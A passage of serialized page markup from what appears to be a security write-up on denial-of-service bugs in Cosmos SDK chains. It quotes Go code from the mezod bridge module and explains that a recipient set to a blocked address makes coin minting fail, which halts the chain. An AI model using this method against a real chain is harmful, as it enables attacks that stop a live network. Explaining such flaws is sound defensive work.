nil\n}\n",[81893],{"type":21,"tag":66,"props":81894,"children":81895},{"__ignoreMap":7},[81896,81961,81968,82016,82044,82051,82063],{"type":21,"tag":85,"props":81897,"children":81898},{"class":87,"line":88},[81899,81903,81908,81912,81916,81920,81924,81928,81932,81936,81941,81945,81949,81953,81957],{"type":21,"tag":85,"props":81900,"children":81901},{"style":102},[81902],{"type":26,"value":76762},{"type":21,"tag":85,"props":81904,"children":81905},{"style":1021},[81906],{"type":26,"value":81907}," BeginBlocker",{"type":21,"tag":85,"props":81909,"children":81910},{"style":114},[81911],{"type":26,"value":1439},{"type":21,"tag":85,"props":81913,"children":81914},{"style":120},[81915],{"type":26,"value":20708},{"type":21,"tag":85,"props":81917,"children":81918},{"style":108},[81919],{"type":26,"value":76802},{"type":21,"tag":85,"props":81921,"children":81922},{"style":114},[81923],{"type":26,"value":73},{"type":21,"tag":85,"props":81925,"children":81926},{"style":108},[81927],{"type":26,"value":76811},{"type":21,"tag":85,"props":81929,"children":81930},{"style":114},[81931],{"type":26,"value":256},{"type":21,"tag":85,"props":81933,"children":81934},{"style":120},[81935],{"type":26,"value":81727},{"type":21,"tag":85,"props":81937,"children":81938},{"style":108},[81939],{"type":26,"value":81940}," keeper",{"type":21,"tag":85,"props":81942,"children":81943},{"style":114},[81944],{"type":26,"value":73},{"type":21,"tag":85,"props":81946,"children":81947},{"style":108},[81948],{"type":26,"value":80407},{"type":21,"tag":85,"props":81950,"children":81951},{"style":114},[81952],{"type":26,"value":736},{"type":21,"tag":85,"props":81954,"children":81955},{"style":108},[81956],{"type":26,"value":15282},{"type":21,"tag":85,"props":81958,"children":81959},{"style":114},[81960],{"type":26,"value":148},{"type":21,"tag":85,"props":81962,"children":81963},{"class":87,"line":98},[81964],{"type":21,"tag":85,"props":81965,"children":81966},{"emptyLinePlaceholder":16},[81967],{"type":26,"value":703},{"type":21,"tag":85,"props":81969,"children":81970},{"class":87,"line":151},[81971,81975,81979,81983,81987,81991,81995,81999,82004,82008,82012],{"type":21,"tag":85,"props":81972,"children":81973},{"style":120},[81974],{"type":26,"value":81709},{"type":21,"tag":85,"props":81976,"children":81977},{"style":169},[81978],{"type":26,"value":76878},{"type":21,"tag":85,"props":81980,"children":81981},{"style":120},[81982],{"type":26,"value":81940},{"type":21,"tag":85,"props":81984,"children":81985},{"style":114},[81986],{"type":26,"value":73},{"type":21,"tag":85,"props":81988,"children":81989},{"style":1021},[81990],{"type":26,"value":81736},{"type":21,"tag":85,"props":81992,"children":81993},{"style":114},[81994],{"type":26,"value":14461},{"type":21,"tag":85,"props":81996,"children":81997},{"style":169},[81998],{"type":26,"value":5349},{"type":21,"tag":85,"props":82000,"children":82001},{"style":120},[82002],{"type":26,"value":82003},"  keeper",{"type":21,"tag":85,"props":82005,"children":82006},{"style":114},[82007],{"type":26,"value":73},{"type":21,"tag":85,"props":82009,"children":82010},{"style":1021},[82011],{"type":26,"value":81766},{"type":21,"tag":85,"props":82013,"children":82014},{"style":114},[82015],{"type":26,"value":2086},{"type":21,"tag":85,"props":82017,"children":82018},{"class":87,"line":160},[82019,82024,82028,82032,82036,82040],{"type":21,"tag":85,"props":82020,"children":82021},{"style":120},[82022],{"type":26,"value":82023},"    keeper",{"type":21,"tag":85,"props":82025,"children":82026},{"style":114},[82027],{"type":26,"value":73},{"type":21,"tag":85,"props":82029,"children":82030},{"style":1021},[82031],{"type":26,"value":81795},{"type":21,"tag":85,"props":82033,"children":82034},{"style":114},[82035],{"type":26,"value":1439},{"type":21,"tag":85,"props":82037,"children":82038},{"style":120},[82039],{"type":26,"value":81804},{"type":21,"tag":85,"props":82041,"children":82042},{"style":114},[82043],{"type":26,"value":2485},{"type":21,"tag":85,"props":82045,"children":82046},{"class":87,"line":185},[82047],{"type":21,"tag":85,"props":82048,"children":82049},{"emptyLinePlaceholder":16},[82050],{"type":26,"value":703},{"type":21,"tag":85,"props":82052,"children":82053},{"class":87,"line":501},[82054,82058],{"type":21,"tag":85,"props":82055,"children":82056},{"style":2885},[82057],{"type":26,"value":53322},{"type":21,"tag":85,"props":82059,"children":82060},{"style":102},[82061],{"type":26,"value":82062}," nil\n",{"type":21,"tag":85,"props":82064,"children":82065},{"class":87,"line":697},[82066],{"type":21,"tag":85,"props":82067,"children":82068},{"style":114},[82069],{"type":26,"value":2671},{"type":21,"tag":10022,"props":82071,"children":82073},{"id":82072},"real-world-examples-3",[82074],{"type":26,"value":77151},{"type":21,"tag":22,"props":82076,"children":82077},{},[82078],{"type":26,"value":82079},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":21,"tag":22,"props":82081,"children":82082},{},[82083,82085,82091,82093,82098,82100,82106,82108,82114,82116,82122],{"type":26,"value":82084},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":21,"tag":66,"props":82086,"children":82088},{"className":82087},[],[82089],{"type":26,"value":82090},"bankKeeper.SendCoinsFromModuleToAccount",{"type":26,"value":82092}," will be bubbled up through ",{"type":21,"tag":66,"props":82094,"children":82096},{"className":82095},[],[82097],{"type":26,"value":81865},{"type":26,"value":82099}," and halt the chain. It turns out an attacker can force ",{"type":21,"tag":66,"props":82101,"children":82103},{"className":82102},[],[82104],{"type":26,"value":82105},"SendCoinsFromModuleToAccount",{"type":26,"value":82107}," to return an error by setting ",{"type":21,"tag":66,"props":82109,"children":82111},{"className":82110},[],[82112],{"type":26,"value":82113},"recipient",{"type":26,"value":82115}," to some ",{"type":21,"tag":66,"props":82117,"children":82119},{"className":82118},[],[82120],{"type":26,"value":82121},"BlockedAddr",{"type":26,"value":82123},",rendering the code susceptible to DoS attacks.",{"type":21,"tag":22,"props":82125,"children":82126},{},[82127],{"type":21,"tag":335,"props":82128,"children":82131},{"href":82129,"rel":82130},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[339],[82132],{"type":26,"value":77201},{"type":21,"tag":75,"props":82134,"children":82136},{"code":82135,"language":76626,"meta":7,"className":76627,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[82137],{"type":21,"tag":66,"props":82138,"children":82139},{"__ignoreMap":7},[82140,82193,82208,82231,82261,82297,82305,82361,82385,82435,82442,82449,82456,82463,82470,82501,82524,82549,82564,82571,82608,82662,82685,82726,82733,82740,82791,82852,82875,82898,82910,82931,82943,82951,82958,82973,82981,82988,82995,83002,83009,83016,83047,83070,83095,83120,83135,83142,83179,83190,83211,83222,83234,83241,83264,83304,83311,83318],{"type":21,"tag":85,"props":82141,"children":82142},{"class":87,"line":88},[82143,82147,82151,82156,82160,82165,82169,82173,82177,82181,82185,82189],{"type":21,"tag":85,"props":82144,"children":82145},{"style":102},[82146],{"type":26,"value":76762},{"type":21,"tag":85,"props":82148,"children":82149},{"style":114},[82150],{"type":26,"value":717},{"type":21,"tag":85,"props":82152,"children":82153},{"style":120},[82154],{"type":26,"value":82155},"pbh ",{"type":21,"tag":85,"props":82157,"children":82158},{"style":169},[82159],{"type":26,"value":3052},{"type":21,"tag":85,"props":82161,"children":82162},{"style":108},[82163],{"type":26,"value":82164},"PreBlockHandler",{"type":21,"tag":85,"props":82166,"children":82167},{"style":114},[82168],{"type":26,"value":736},{"type":21,"tag":85,"props":82170,"children":82171},{"style":1021},[82172],{"type":26,"value":81865},{"type":21,"tag":85,"props":82174,"children":82175},{"style":114},[82176],{"type":26,"value":14461},{"type":21,"tag":85,"props":82178,"children":82179},{"style":108},[82180],{"type":26,"value":79192},{"type":21,"tag":85,"props":82182,"children":82183},{"style":114},[82184],{"type":26,"value":73},{"type":21,"tag":85,"props":82186,"children":82187},{"style":108},[82188],{"type":26,"value":81865},{"type":21,"tag":85,"props":82190,"children":82191},{"style":114},[82192],{"type":26,"value":148},{"type":21,"tag":85,"props":82194,"children":82195},{"class":87,"line":98},[82196,82200,82204],{"type":21,"tag":85,"props":82197,"children":82198},{"style":2885},[82199],{"type":26,"value":17411},{"type":21,"tag":85,"props":82201,"children":82202},{"style":102},[82203],{"type":26,"value":80471},{"type":21,"tag":85,"props":82205,"children":82206},{"style":114},[82207],{"type":26,"value":1029},{"type":21,"tag":85,"props":82209,"children":82210},{"class":87,"line":151},[82211,82215,82219,82223,82227],{"type":21,"tag":85,"props":82212,"children":82213},{"style":120},[82214],{"type":26,"value":26627},{"type":21,"tag":85,"props":82216,"children":82217},{"style":108},[82218],{"type":26,"value":79103},{"type":21,"tag":85,"props":82220,"children":82221},{"style":114},[82222],{"type":26,"value":73},{"type":21,"tag":85,"props":82224,"children":82225},{"style":108},[82226],{"type":26,"value":76811},{"type":21,"tag":85,"props":82228,"children":82229},{"style":114},[82230],{"type":26,"value":182},{"type":21,"tag":85,"props":82232,"children":82233},{"class":87,"line":160},[82234,82239,82243,82248,82252,82257],{"type":21,"tag":85,"props":82235,"children":82236},{"style":120},[82237],{"type":26,"value":82238},"        req",{"type":21,"tag":85,"props":82240,"children":82241},{"style":169},[82242],{"type":26,"value":10231},{"type":21,"tag":85,"props":82244,"children":82245},{"style":108},[82246],{"type":26,"value":82247},"cmtabci",{"type":21,"tag":85,"props":82249,"children":82250},{"style":114},[82251],{"type":26,"value":73},{"type":21,"tag":85,"props":82253,"children":82254},{"style":108},[82255],{"type":26,"value":82256},"RequestFinalizeBlock",{"type":21,"tag":85,"props":82258,"children":82259},{"style":114},[82260],{"type":26,"value":182},{"type":21,"tag":85,"props":82262,"children":82263},{"class":87,"line":185},[82264,82268,82272,82276,82280,82285,82289,82293],{"type":21,"tag":85,"props":82265,"children":82266},{"style":114},[82267],{"type":26,"value":80539},{"type":21,"tag":85,"props":82269,"children":82270},{"style":169},[82271],{"type":26,"value":3052},{"type":21,"tag":85,"props":82273,"children":82274},{"style":108},[82275],{"type":26,"value":79192},{"type":21,"tag":85,"props":82277,"children":82278},{"style":114},[82279],{"type":26,"value":73},{"type":21,"tag":85,"props":82281,"children":82282},{"style":108},[82283],{"type":26,"value":82284},"ResponsePreBlock",{"type":21,"tag":85,"props":82286,"children":82287},{"style":114},[82288],{"type":26,"value":256},{"type":21,"tag":85,"props":82290,"children":82291},{"style":108},[82292],{"type":26,"value":15282},{"type":21,"tag":85,"props":82294,"children":82295},{"style":114},[82296],{"type":26,"value":15222},{"type":21,"tag":85,"props":82298,"children":82299},{"class":87,"line":501},[82300],{"type":21,"tag":85,"props":82301,"children":82302},{"style":169},[82303],{"type":26,"value":82304},"        ...\n",{"type":21,"tag":85,"props":82306,"children":82307},{"class":87,"line":697},[82308,82313,82317,82322,82326,82331,82335,82340,82344,82348,82352,82357],{"type":21,"tag":85,"props":82309,"children":82310},{"style":120},[82311],{"type":26,"value":82312},"        err",{"type":21,"tag":85,"props":82314,"children":82315},{"style":169},[82316],{"type":26,"value":76878},{"type":21,"tag":85,"props":82318,"children":82319},{"style":120},[82320],{"type":26,"value":82321}," pbh",{"type":21,"tag":85,"props":82323,"children":82324},{"style":114},[82325],{"type":26,"value":73},{"type":21,"tag":85,"props":82327,"children":82328},{"style":120},[82329],{"type":26,"value":82330},"bridgeKeeper",{"type":21,"tag":85,"props":82332,"children":82333},{"style":114},[82334],{"type":26,"value":73},{"type":21,"tag":85,"props":82336,"children":82337},{"style":1021},[82338],{"type":26,"value":82339},"AcceptAssetsLocked",{"type":21,"tag":85,"props":82341,"children":82342},{"style":114},[82343],{"type":26,"value":1439},{"type":21,"tag":85,"props":82345,"children":82346},{"style":120},[82347],{"type":26,"value":20708},{"type":21,"tag":85,"props":82349,"children":82350},{"style":114},[82351],{"type":26,"value":256},{"type":21,"tag":85,"props":82353,"children":82354},{"style":120},[82355],{"type":26,"value":82356},"events",{"type":21,"tag":85,"props":82358,"children":82359},{"style":114},[82360],{"type":26,"value":2485},{"type":21,"tag":85,"props":82362,"children":82363},{"class":87,"line":706},[82364,82368,82372,82376,82381],{"type":21,"tag":85,"props":82365,"children":82366},{"style":2885},[82367],{"type":26,"value":4044},{"type":21,"tag":85,"props":82369,"children":82370},{"style":120},[82371],{"type":26,"value":48976},{"type":21,"tag":85,"props":82373,"children":82374},{"style":169},[82375],{"type":26,"value":64845},{"type":21,"tag":85,"props":82377,"children":82378},{"style":102},[82379],{"type":26,"value":82380}," nil",{"type":21,"tag":85,"props":82382,"children":82383},{"style":114},[82384],{"type":26,"value":148},{"type":21,"tag":85,"props":82386,"children":82387},{"class":87,"line":1100},[82388,82392,82396,82400,82405,82409,82414,82418,82423,82427,82431],{"type":21,"tag":85,"props":82389,"children":82390},{"style":2885},[82391],{"type":26,"value":79538},{"type":21,"tag":85,"props":82393,"children":82394},{"style":102},[82395],{"type":26,"value":82380},{"type":21,"tag":85,"props":82397,"children":82398},{"style":114},[82399],{"type":26,"value":256},{"type":21,"tag":85,"props":82401,"children":82402},{"style":120},[82403],{"type":26,"value":82404},"fmt",{"type":21,"tag":85,"props":82406,"children":82407},{"style":114},[82408],{"type":26,"value":73},{"type":21,"tag":85,"props":82410,"children":82411},{"style":1021},[82412],{"type":26,"value":82413},"Errorf",{"type":21,"tag":85,"props":82415,"children":82416},{"style":114},[82417],{"type":26,"value":1439},{"type":21,"tag":85,"props":82419,"children":82420},{"style":5026},[82421],{"type":26,"value":82422},"\"cannot accept AssetsLocked events: %w\"",{"type":21,"tag":85,"props":82424,"children":82425},{"style":114},[82426],{"type":26,"value":256},{"type":21,"tag":85,"props":82428,"children":82429},{"style":120},[82430],{"type":26,"value":48875},{"type":21,"tag":85,"props":82432,"children":82433},{"style":114},[82434],{"type":26,"value":2485},{"type":21,"tag":85,"props":82436,"children":82437},{"class":87,"line":1339},[82438],{"type":21,"tag":85,"props":82439,"children":82440},{"style":114},[82441],{"type":26,"value":4118},{"type":21,"tag":85,"props":82443,"children":82444},{"class":87,"line":1348},[82445],{"type":21,"tag":85,"props":82446,"children":82447},{"style":169},[82448],{"type":26,"value":82304},{"type":21,"tag":85,"props":82450,"children":82451},{"class":87,"line":1386},[82452],{"type":21,"tag":85,"props":82453,"children":82454},{"style":114},[82455],{"type":26,"value":507},{"type":21,"tag":85,"props":82457,"children":82458},{"class":87,"line":1394},[82459],{"type":21,"tag":85,"props":82460,"children":82461},{"style":114},[82462],{"type":26,"value":2671},{"type":21,"tag":85,"props":82464,"children":82465},{"class":87,"line":1402},[82466],{"type":21,"tag":85,"props":82467,"children":82468},{"emptyLinePlaceholder":16},[82469],{"type":26,"value":703},{"type":21,"tag":85,"props":82471,"children":82472},{"class":87,"line":3145},[82473,82477,82481,82485,82489,82493,82497],{"type":21,"tag":85,"props":82474,"children":82475},{"style":102},[82476],{"type":26,"value":76762},{"type":21,"tag":85,"props":82478,"children":82479},{"style":114},[82480],{"type":26,"value":717},{"type":21,"tag":85,"props":82482,"children":82483},{"style":120},[82484],{"type":26,"value":81590},{"type":21,"tag":85,"props":82486,"children":82487},{"style":108},[82488],{"type":26,"value":80407},{"type":21,"tag":85,"props":82490,"children":82491},{"style":114},[82492],{"type":26,"value":736},{"type":21,"tag":85,"props":82494,"children":82495},{"style":1021},[82496],{"type":26,"value":82339},{"type":21,"tag":85,"props":82498,"children":82499},{"style":114},[82500],{"type":26,"value":1029},{"type":21,"tag":85,"props":82502,"children":82503},{"class":87,"line":3246},[82504,82508,82512,82516,82520],{"type":21,"tag":85,"props":82505,"children":82506},{"style":120},[82507],{"type":26,"value":20651},{"type":21,"tag":85,"props":82509,"children":82510},{"style":108},[82511],{"type":26,"value":79103},{"type":21,"tag":85,"props":82513,"children":82514},{"style":114},[82515],{"type":26,"value":73},{"type":21,"tag":85,"props":82517,"children":82518},{"style":108},[82519],{"type":26,"value":76811},{"type":21,"tag":85,"props":82521,"children":82522},{"style":114},[82523],{"type":26,"value":182},{"type":21,"tag":85,"props":82525,"children":82526},{"class":87,"line":3255},[82527,82532,82536,82540,82545],{"type":21,"tag":85,"props":82528,"children":82529},{"style":120},[82530],{"type":26,"value":82531},"    events",{"type":21,"tag":85,"props":82533,"children":82534},{"style":108},[82535],{"type":26,"value":78637},{"type":21,"tag":85,"props":82537,"children":82538},{"style":114},[82539],{"type":26,"value":73},{"type":21,"tag":85,"props":82541,"children":82542},{"style":108},[82543],{"type":26,"value":82544},"AssetsLockedEvents",{"type":21,"tag":85,"props":82546,"children":82547},{"style":114},[82548],{"type":26,"value":182},{"type":21,"tag":85,"props":82550,"children":82551},{"class":87,"line":3286},[82552,82556,82560],{"type":21,"tag":85,"props":82553,"children":82554},{"style":114},[82555],{"type":26,"value":736},{"type":21,"tag":85,"props":82557,"children":82558},{"style":108},[82559],{"type":26,"value":15282},{"type":21,"tag":85,"props":82561,"children":82562},{"style":114},[82563],{"type":26,"value":148},{"type":21,"tag":85,"props":82565,"children":82566},{"class":87,"line":3295},[82567],{"type":21,"tag":85,"props":82568,"children":82569},{"style":169},[82570],{"type":26,"value":20767},{"type":21,"tag":85,"props":82572,"children":82573},{"class":87,"line":3308},[82574,82578,82582,82586,82591,82595,82599,82604],{"type":21,"tag":85,"props":82575,"children":82576},{"style":2885},[82577],{"type":26,"value":3809},{"type":21,"tag":85,"props":82579,"children":82580},{"style":120},[82581],{"type":26,"value":3814},{"type":21,"tag":85,"props":82583,"children":82584},{"style":114},[82585],{"type":26,"value":256},{"type":21,"tag":85,"props":82587,"children":82588},{"style":120},[82589],{"type":26,"value":82590},"event",{"type":21,"tag":85,"props":82592,"children":82593},{"style":169},[82594],{"type":26,"value":76878},{"type":21,"tag":85,"props":82596,"children":82597},{"style":2885},[82598],{"type":26,"value":77861},{"type":21,"tag":85,"props":82600,"children":82601},{"style":120},[82602],{"type":26,"value":82603}," events",{"type":21,"tag":85,"props":82605,"children":82606},{"style":114},[82607],{"type":26,"value":148},{"type":21,"tag":85,"props":82609,"children":82610},{"class":87,"line":3333},[82611,82616,82620,82624,82628,82632,82636,82641,82645,82649,82653,82658],{"type":21,"tag":85,"props":82612,"children":82613},{"style":120},[82614],{"type":26,"value":82615},"        recipient",{"type":21,"tag":85,"props":82617,"children":82618},{"style":114},[82619],{"type":26,"value":256},{"type":21,"tag":85,"props":82621,"children":82622},{"style":120},[82623],{"type":26,"value":48875},{"type":21,"tag":85,"props":82625,"children":82626},{"style":169},[82627],{"type":26,"value":76878},{"type":21,"tag":85,"props":82629,"children":82630},{"style":120},[82631],{"type":26,"value":79103},{"type":21,"tag":85,"props":82633,"children":82634},{"style":114},[82635],{"type":26,"value":73},{"type":21,"tag":85,"props":82637,"children":82638},{"style":1021},[82639],{"type":26,"value":82640},"AccAddressFromBech32",{"type":21,"tag":85,"props":82642,"children":82643},{"style":114},[82644],{"type":26,"value":1439},{"type":21,"tag":85,"props":82646,"children":82647},{"style":120},[82648],{"type":26,"value":82590},{"type":21,"tag":85,"props":82650,"children":82651},{"style":114},[82652],{"type":26,"value":73},{"type":21,"tag":85,"props":82654,"children":82655},{"style":120},[82656],{"type":26,"value":82657},"Recipient",{"type":21,"tag":85,"props":82659,"children":82660},{"style":114},[82661],{"type":26,"value":2485},{"type":21,"tag":85,"props":82663,"children":82664},{"class":87,"line":3369},[82665,82669,82673,82677,82681],{"type":21,"tag":85,"props":82666,"children":82667},{"style":2885},[82668],{"type":26,"value":4044},{"type":21,"tag":85,"props":82670,"children":82671},{"style":120},[82672],{"type":26,"value":48976},{"type":21,"tag":85,"props":82674,"children":82675},{"style":169},[82676],{"type":26,"value":64845},{"type":21,"tag":85,"props":82678,"children":82679},{"style":102},[82680],{"type":26,"value":82380},{"type":21,"tag":85,"props":82682,"children":82683},{"style":114},[82684],{"type":26,"value":148},{"type":21,"tag":85,"props":82686,"children":82687},{"class":87,"line":3377},[82688,82692,82697,82701,82705,82709,82714,82718,82722],{"type":21,"tag":85,"props":82689,"children":82690},{"style":2885},[82691],{"type":26,"value":79538},{"type":21,"tag":85,"props":82693,"children":82694},{"style":120},[82695],{"type":26,"value":82696}," fmt",{"type":21,"tag":85,"props":82698,"children":82699},{"style":114},[82700],{"type":26,"value":73},{"type":21,"tag":85,"props":82702,"children":82703},{"style":1021},[82704],{"type":26,"value":82413},{"type":21,"tag":85,"props":82706,"children":82707},{"style":114},[82708],{"type":26,"value":1439},{"type":21,"tag":85,"props":82710,"children":82711},{"style":5026},[82712],{"type":26,"value":82713},"\"failed to parse recipient address: %w\"",{"type":21,"tag":85,"props":82715,"children":82716},{"style":114},[82717],{"type":26,"value":256},{"type":21,"tag":85,"props":82719,"children":82720},{"style":120},[82721],{"type":26,"value":48875},{"type":21,"tag":85,"props":82723,"children":82724},{"style":114},[82725],{"type":26,"value":2485},{"type":21,"tag":85,"props":82727,"children":82728},{"class":87,"line":3386},[82729],{"type":21,"tag":85,"props":82730,"children":82731},{"style":114},[82732],{"type":26,"value":4118},{"type":21,"tag":85,"props":82734,"children":82735},{"class":87,"line":3394},[82736],{"type":21,"tag":85,"props":82737,"children":82738},{"emptyLinePlaceholder":16},[82739],{"type":26,"value":703},{"type":21,"tag":85,"props":82741,"children":82742},{"class":87,"line":3410},[82743,82747,82752,82756,82761,82765,82769,82773,82778,82782,82787],{"type":21,"tag":85,"props":82744,"children":82745},{"style":2885},[82746],{"type":26,"value":4044},{"type":21,"tag":85,"props":82748,"children":82749},{"style":120},[82750],{"type":26,"value":82751}," bytes",{"type":21,"tag":85,"props":82753,"children":82754},{"style":114},[82755],{"type":26,"value":73},{"type":21,"tag":85,"props":82757,"children":82758},{"style":1021},[82759],{"type":26,"value":82760},"Equal",{"type":21,"tag":85,"props":82762,"children":82763},{"style":114},[82764],{"type":26,"value":1439},{"type":21,"tag":85,"props":82766,"children":82767},{"style":120},[82768],{"type":26,"value":82590},{"type":21,"tag":85,"props":82770,"children":82771},{"style":114},[82772],{"type":26,"value":73},{"type":21,"tag":85,"props":82774,"children":82775},{"style":1021},[82776],{"type":26,"value":82777},"TokenBytes",{"type":21,"tag":85,"props":82779,"children":82780},{"style":114},[82781],{"type":26,"value":18799},{"type":21,"tag":85,"props":82783,"children":82784},{"style":120},[82785],{"type":26,"value":82786},"sourceBTCToken",{"type":21,"tag":85,"props":82788,"children":82789},{"style":114},[82790],{"type":26,"value":15222},{"type":21,"tag":85,"props":82792,"children":82793},{"class":87,"line":3427},[82794,82799,82803,82807,82811,82816,82820,82824,82828,82832,82836,82840,82844,82848],{"type":21,"tag":85,"props":82795,"children":82796},{"style":120},[82797],{"type":26,"value":82798},"            err",{"type":21,"tag":85,"props":82800,"children":82801},{"style":169},[82802],{"type":26,"value":1941},{"type":21,"tag":85,"props":82804,"children":82805},{"style":120},[82806],{"type":26,"value":81718},{"type":21,"tag":85,"props":82808,"children":82809},{"style":114},[82810],{"type":26,"value":73},{"type":21,"tag":85,"props":82812,"children":82813},{"style":1021},[82814],{"type":26,"value":82815},"mintBTC",{"type":21,"tag":85,"props":82817,"children":82818},{"style":114},[82819],{"type":26,"value":1439},{"type":21,"tag":85,"props":82821,"children":82822},{"style":120},[82823],{"type":26,"value":20708},{"type":21,"tag":85,"props":82825,"children":82826},{"style":114},[82827],{"type":26,"value":256},{"type":21,"tag":85,"props":82829,"children":82830},{"style":120},[82831],{"type":26,"value":82113},{"type":21,"tag":85,"props":82833,"children":82834},{"style":114},[82835],{"type":26,"value":256},{"type":21,"tag":85,"props":82837,"children":82838},{"style":120},[82839],{"type":26,"value":82590},{"type":21,"tag":85,"props":82841,"children":82842},{"style":114},[82843],{"type":26,"value":73},{"type":21,"tag":85,"props":82845,"children":82846},{"style":120},[82847],{"type":26,"value":79517},{"type":21,"tag":85,"props":82849,"children":82850},{"style":114},[82851],{"type":26,"value":2485},{"type":21,"tag":85,"props":82853,"children":82854},{"class":87,"line":3445},[82855,82859,82863,82867,82871],{"type":21,"tag":85,"props":82856,"children":82857},{"style":2885},[82858],{"type":26,"value":59258},{"type":21,"tag":85,"props":82860,"children":82861},{"style":120},[82862],{"type":26,"value":48976},{"type":21,"tag":85,"props":82864,"children":82865},{"style":169},[82866],{"type":26,"value":64845},{"type":21,"tag":85,"props":82868,"children":82869},{"style":102},[82870],{"type":26,"value":82380},{"type":21,"tag":85,"props":82872,"children":82873},{"style":114},[82874],{"type":26,"value":148},{"type":21,"tag":85,"props":82876,"children":82877},{"class":87,"line":3490},[82878,82882,82886,82890,82894],{"type":21,"tag":85,"props":82879,"children":82880},{"style":2885},[82881],{"type":26,"value":61186},{"type":21,"tag":85,"props":82883,"children":82884},{"style":120},[82885],{"type":26,"value":82696},{"type":21,"tag":85,"props":82887,"children":82888},{"style":114},[82889],{"type":26,"value":73},{"type":21,"tag":85,"props":82891,"children":82892},{"style":1021},[82893],{"type":26,"value":82413},{"type":21,"tag":85,"props":82895,"children":82896},{"style":114},[82897],{"type":26,"value":1029},{"type":21,"tag":85,"props":82899,"children":82900},{"class":87,"line":3596},[82901,82906],{"type":21,"tag":85,"props":82902,"children":82903},{"style":5026},[82904],{"type":26,"value":82905},"                    \"failed to mint BTC for event %v: %w\"",{"type":21,"tag":85,"props":82907,"children":82908},{"style":114},[82909],{"type":26,"value":182},{"type":21,"tag":85,"props":82911,"children":82912},{"class":87,"line":23938},[82913,82918,82922,82927],{"type":21,"tag":85,"props":82914,"children":82915},{"style":120},[82916],{"type":26,"value":82917},"                    event",{"type":21,"tag":85,"props":82919,"children":82920},{"style":114},[82921],{"type":26,"value":73},{"type":21,"tag":85,"props":82923,"children":82924},{"style":120},[82925],{"type":26,"value":82926},"Sequence",{"type":21,"tag":85,"props":82928,"children":82929},{"style":114},[82930],{"type":26,"value":182},{"type":21,"tag":85,"props":82932,"children":82933},{"class":87,"line":23973},[82934,82939],{"type":21,"tag":85,"props":82935,"children":82936},{"style":120},[82937],{"type":26,"value":82938},"                    err",{"type":21,"tag":85,"props":82940,"children":82941},{"style":114},[82942],{"type":26,"value":182},{"type":21,"tag":85,"props":82944,"children":82945},{"class":87,"line":23981},[82946],{"type":21,"tag":85,"props":82947,"children":82948},{"style":114},[82949],{"type":26,"value":82950},"                )\n",{"type":21,"tag":85,"props":82952,"children":82953},{"class":87,"line":23989},[82954],{"type":21,"tag":85,"props":82955,"children":82956},{"style":114},[82957],{"type":26,"value":59342},{"type":21,"tag":85,"props":82959,"children":82960},{"class":87,"line":23998},[82961,82965,82969],{"type":21,"tag":85,"props":82962,"children":82963},{"style":114},[82964],{"type":26,"value":4081},{"type":21,"tag":85,"props":82966,"children":82967},{"style":2885},[82968],{"type":26,"value":4086},{"type":21,"tag":85,"props":82970,"children":82971},{"style":114},[82972],{"type":26,"value":148},{"type":21,"tag":85,"props":82974,"children":82975},{"class":87,"line":24040},[82976],{"type":21,"tag":85,"props":82977,"children":82978},{"style":169},[82979],{"type":26,"value":82980},"            ...\n",{"type":21,"tag":85,"props":82982,"children":82983},{"class":87,"line":24073},[82984],{"type":21,"tag":85,"props":82985,"children":82986},{"style":114},[82987],{"type":26,"value":4118},{"type":21,"tag":85,"props":82989,"children":82990},{"class":87,"line":24081},[82991],{"type":21,"tag":85,"props":82992,"children":82993},{"style":114},[82994],{"type":26,"value":507},{"type":21,"tag":85,"props":82996,"children":82997},{"class":87,"line":24089},[82998],{"type":21,"tag":85,"props":82999,"children":83000},{"style":169},[83001],{"type":26,"value":20767},{"type":21,"tag":85,"props":83003,"children":83004},{"class":87,"line":24098},[83005],{"type":21,"tag":85,"props":83006,"children":83007},{"style":114},[83008],{"type":26,"value":2671},{"type":21,"tag":85,"props":83010,"children":83011},{"class":87,"line":24174},[83012],{"type":21,"tag":85,"props":83013,"children":83014},{"emptyLinePlaceholder":16},[83015],{"type":26,"value":703},{"type":21,"tag":85,"props":83017,"children":83018},{"class":87,"line":24207},[83019,83023,83027,83031,83035,83039,83043],{"type":21,"tag":85,"props":83020,"children":83021},{"style":102},[83022],{"type":26,"value":76762},{"type":21,"tag":85,"props":83024,"children":83025},{"style":114},[83026],{"type":26,"value":717},{"type":21,"tag":85,"props":83028,"children":83029},{"style":120},[83030],{"type":26,"value":81590},{"type":21,"tag":85,"props":83032,"children":83033},{"style":108},[83034],{"type":26,"value":80407},{"type":21,"tag":85,"props":83036,"children":83037},{"style":114},[83038],{"type":26,"value":736},{"type":21,"tag":85,"props":83040,"children":83041},{"style":1021},[83042],{"type":26,"value":82815},{"type":21,"tag":85,"props":83044,"children":83045},{"style":114},[83046],{"type":26,"value":1029},{"type":21,"tag":85,"props":83048,"children":